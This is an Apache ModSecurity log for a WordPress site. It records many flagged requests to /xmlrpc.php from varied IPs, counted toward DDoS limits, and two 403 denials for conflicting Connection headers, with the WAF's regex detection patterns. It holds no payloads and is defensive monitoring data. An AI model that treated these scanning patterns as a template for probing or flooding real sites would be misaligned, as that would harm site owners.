[Fri Apr 10 18:47:50.260027 2026] [:error] [pid 13189:tid 13193] [client 67.205.43.38:54580] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjVVpAxiJKPums3eBB1JQAAAEE"]
[Fri Apr 10 18:52:00.813982 2026] [:error] [pid 13102:tid 13177] [client 85.214.144.101:40014] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjWUP9xLvjW2guI55ZmBgAAABE"]
[Fri Apr 10 18:52:50.395981 2026] [:error] [pid 25984:tid 26011] [client 141.94.18.111:47836] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjWgrsdbY_MC14OH16UiwAAAVY"]
[Fri Apr 10 18:54:17.044022 2026] [:error] [pid 13189:tid 13196] [client 51.75.54.138:38034] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjW2ZAxiJKPums3eBB3VQAAAEQ"]
[Fri Apr 10 18:54:26.356254 2026] [:error] [pid 25984:tid 26013] [client 146.19.130.113:48452] [client 146.19.130.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.19.130.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjW4rsdbY_MC14OH16WSwAAAVg"]
[Fri Apr 10 18:54:53.177856 2026] [:error] [pid 13101:tid 13152] [client 152.53.87.236:40816] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjW_d8Ldw85818pj2qkbAAAAJM"]
[Fri Apr 10 18:55:52.799334 2026] [:error] [pid 13102:tid 13169] [client 161.35.47.44:35770] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjXOP9xLvjW2guI55Zo1AAAAAk"]
[Fri Apr 10 19:01:30.793305 2026] [:error] [pid 3934:tid 3950] [client 212.129.7.184:48568] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjYioa41m-BS8mg82efcgAAAMs"]
[Fri Apr 10 19:09:57.216569 2026] [:error] [pid 13101:tid 13140] [client 85.248.226.9:60554] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjahd8Ldw85818pj2qpGAAAAIc"]
[Fri Apr 10 19:15:51.577597 2026] [:error] [pid 25984:tid 26007] [client 148.251.46.181:57906] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjb57sdbY_MC14OH16siwAAAVI"]
[Fri Apr 10 19:16:57.751483 2026] [:error] [pid 3934:tid 3948] [client 85.128.143.151:52618] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjcKYa41m-BS8mg82enuwAAAMk"]
[Fri Apr 10 19:18:08.221093 2026] [:error] [pid 13189:tid 13202] [client 69.163.206.7:33574] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjccJAxiJKPums3eBCBjgAAAEo"]
[Fri Apr 10 19:28:04.784520 2026] [:error] [pid 13189:tid 13214] [client 143.198.119.177:59992] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjexJAxiJKPums3eBCGAgAAAFY"]
[Fri Apr 10 19:31:46.818425 2026] [:error] [pid 13102:tid 13177] [client 20.238.240.42:3904] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjfov9xLvjW2guI55aAfAAAABE"]
[Fri Apr 10 19:34:44.761836 2026] [:error] [pid 13189:tid 13209] [client 117.33.163.216:46996] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adjgVJAxiJKPums3eBCISwAAAFE"]
[Fri Apr 10 19:38:15.531290 2026] [:error] [pid 13101:tid 13140] [client 13.235.96.22:46482] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjhJ98Ldw85818pj2qy7QAAAIc"]
[Fri Apr 10 19:39:22.394418 2026] [:error] [pid 3934:tid 3942] [client 188.166.244.214:32796] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjhaoa41m-BS8mg82eykgAAAMM"]
[Fri Apr 10 19:51:45.291024 2026] [:error] [pid 13102:tid 13167] [client 20.218.128.24:55278] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjkUf9xLvjW2guI55aNcgAAAAc"]
[Fri Apr 10 19:54:20.157395 2026] [:error] [pid 3934:tid 3947] [client 178.128.63.245:47152] [client 178.128.63.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.63.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjk7Ia41m-BS8mg82e6cQAAAMg"]
[Fri Apr 10 20:02:43.765032 2026] [:error] [pid 13100:tid 13129] [client 142.93.255.228:41746] [client 142.93.255.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.255.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjm41zg-ZkZ0InWIP2mIgAAARg"]
[Fri Apr 10 20:03:02.130655 2026] [:error] [pid 25984:tid 26004] [client 217.76.61.13:36260] [client 217.76.61.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.76.61.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjm9rsdbY_MC14OH17ZygAAAU8"]
[Fri Apr 10 20:08:51.500385 2026] [:error] [pid 13102:tid 13179] [client 196.27.114.137:41436] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjoU_9xLvjW2guI55aaHAAAABM"]
[Fri Apr 10 20:14:43.944758 2026] [:error] [pid 13189:tid 13208] [client 57.129.6.170:55226] [client 57.129.6.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.129.6.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjps5AxiJKPums3eBCccAAAAFA"]
[Fri Apr 10 20:16:33.662878 2026] [:error] [pid 25984:tid 26001] [client 47.244.90.157:46736] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjqIbsdbY_MC14OH17rjQAAAUw"]
[Fri Apr 10 20:20:51.934173 2026] [:error] [pid 13100:tid 13120] [client 143.198.154.102:42428] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjrI1zg-ZkZ0InWIP2udAAAAQ8"]
[Fri Apr 10 20:28:04.515471 2026] [:error] [pid 25984:tid 25996] [client 95.85.28.210:34384] [client 95.85.28.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.85.28.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjs1LsdbY_MC14OH1738QAAAUc"]
[Fri Apr 10 20:29:05.331357 2026] [:error] [pid 13189:tid 13202] [client 46.21.198.186:45278] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjtEZAxiJKPums3eBCj0AAAAEo"]
[Fri Apr 10 20:32:27.699355 2026] [:error] [pid 3934:tid 3960] [client 89.252.131.27:60240] [client 89.252.131.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.131.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjt24a41m-BS8mg82fUNwAAANU"]
[Fri Apr 10 20:35:56.294885 2026] [:error] [pid 25984:tid 26008] [client 161.97.171.174:36282] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjurLsdbY_MC14OH17_KAAAAVM"]
[Fri Apr 10 20:36:01.938949 2026] [:error] [pid 13102:tid 13172] [client 34.175.117.206:36312] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjusf9xLvjW2guI55avgwAAAAw"]
[Fri Apr 10 20:47:05.777500 2026] [:error] [pid 3934:tid 3957] [client 212.55.193.47:43474] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjxSYa41m-BS8mg82fblgAAANI"]
[Fri Apr 10 20:53:33.374857 2026] [:error] [pid 13101:tid 13153] [client 212.125.4.206:54726] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjyzd8Ldw85818pj2rRVAAAAJQ"]
[Fri Apr 10 20:53:40.779022 2026] [:error] [pid 3934:tid 3939] [client 34.140.181.23:39382] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjy1Ia41m-BS8mg82fdhwAAAMA"]
[Fri Apr 10 21:03:25.232532 2026] [:error] [pid 3934:tid 3953] [client 128.140.11.209:51702] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj1HYa41m-BS8mg82fhnQAAAM4"]
[Fri Apr 10 21:06:52.354976 2026] [:error] [pid 13102:tid 13166] [client 192.250.239.237:52712] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj17P9xLvjW2guI55bAtwAAAAY"]
[Fri Apr 10 21:13:57.670448 2026] [:error] [pid 62651:tid 62670] [client 138.122.43.166:47326] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj3lTbAH0le57SIaqwhvAAAAdE"]
[Fri Apr 10 21:18:48.918421 2026] [:error] [pid 13101:tid 13146] [client 144.217.252.106:54478] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj4uN8Ldw85818pj2rZ6gAAAI0"]
[Fri Apr 10 21:22:34.938201 2026] [:error] [pid 13101:tid 13157] [client 5.189.168.141:45012] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj5mt8Ldw85818pj2ra6wAAAJg"]
[Fri Apr 10 21:28:08.621559 2026] [:error] [pid 13189:tid 13192] [client 43.157.191.20:42532] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adj66JAxiJKPums3eBC8KAAAAEA"]
[Fri Apr 10 21:29:58.057475 2026] [:error] [pid 13189:tid 13198] [client 51.159.214.31:54456] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj7VpAxiJKPums3eBC9GAAAAEY"]
[Fri Apr 10 21:32:14.204718 2026] [:error] [pid 13101:tid 13138] [client 34.67.6.8:38982] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj73t8Ldw85818pj2rfAwAAAIU"]
[Fri Apr 10 21:32:23.789802 2026] [:error] [pid 13101:tid 13153] [client 15.235.163.7:37272] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj7598Ldw85818pj2rfFwAAAJQ"]
[Fri Apr 10 21:34:40.164426 2026] [:error] [pid 62884:tid 62910] [client 59.125.102.226:37316] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj8cOUCK1xrhnnmpo2DWwAAAtM"]
[Fri Apr 10 21:44:30.005635 2026] [:error] [pid 13100:tid 13117] [client 104.208.160.135:38458] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj-vlzg-ZkZ0InWIP3BFAAAAQw"]
[Fri Apr 10 21:47:05.661638 2026] [:error] [pid 13101:tid 13135] [client 68.183.124.132:54334] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj_Wd8Ldw85818pj2rl1QAAAII"]
[Fri Apr 10 21:49:00.223185 2026] [:error] [pid 13101:tid 13157] [client 211.21.61.224:57146] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adj_zN8Ldw85818pj2rmiAAAAJg"]
[Fri Apr 10 21:53:18.091187 2026] [:error] [pid 62710:tid 62721] [client 134.122.21.213:47436] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkAzuME7qrf5xEWWJsepAAAAgg"]
[Fri Apr 10 22:11:51.039748 2026] [:error] [pid 13189:tid 13195] [client 217.217.253.123:49236] [client 217.217.253.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.217.253.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkFJ5AxiJKPums3eBDTFAAAAEM"]
[Fri Apr 10 22:17:30.103059 2026] [:error] [pid 62769:tid 62771] [client 109.172.115.12:38612] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkGesWsSnfLoB8ifjB41AAAAkA"]
[Fri Apr 10 22:24:21.687314 2026] [:error] [pid 63134:tid 63138] [client 103.85.84.51:35744] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkIFdFALqPDwWi6eJKyYwAAA8E"]
[Fri Apr 10 22:31:11.768283 2026] [:error] [pid 62769:tid 62778] [client 34.67.6.8:39904] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkJr8WsSnfLoB8ifjCD6AAAAkc"]
[Fri Apr 10 22:47:57.581321 2026] [:error] [pid 63134:tid 63148] [client 167.99.153.99:44652] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkNndFALqPDwWi6eJK60wAAA8s"]
[Fri Apr 10 22:59:16.039834 2026] [:error] [pid 63062:tid 63067] [client 92.62.236.60:35618] [client 92.62.236.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.62.236.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkQRJ2HtsmV85NqkMcHCQAAA4M"]
[Fri Apr 10 23:00:16.812850 2026] [:error] [pid 13189:tid 13196] [client 217.61.143.66:37280] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkQgJAxiJKPums3eBDz5AAAAEQ"]
[Fri Apr 10 23:03:30.647357 2026] [:error] [pid 62769:tid 62771] [client 157.245.42.243:52212] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkRQsWsSnfLoB8ifjCi7wAAAkA"]
[Fri Apr 10 23:08:22.517852 2026] [:error] [pid 13101:tid 13142] [client 209.74.64.184:34834] [client 209.74.64.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.64.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkSZt8Ldw85818pj2oRSAAAAIk"]
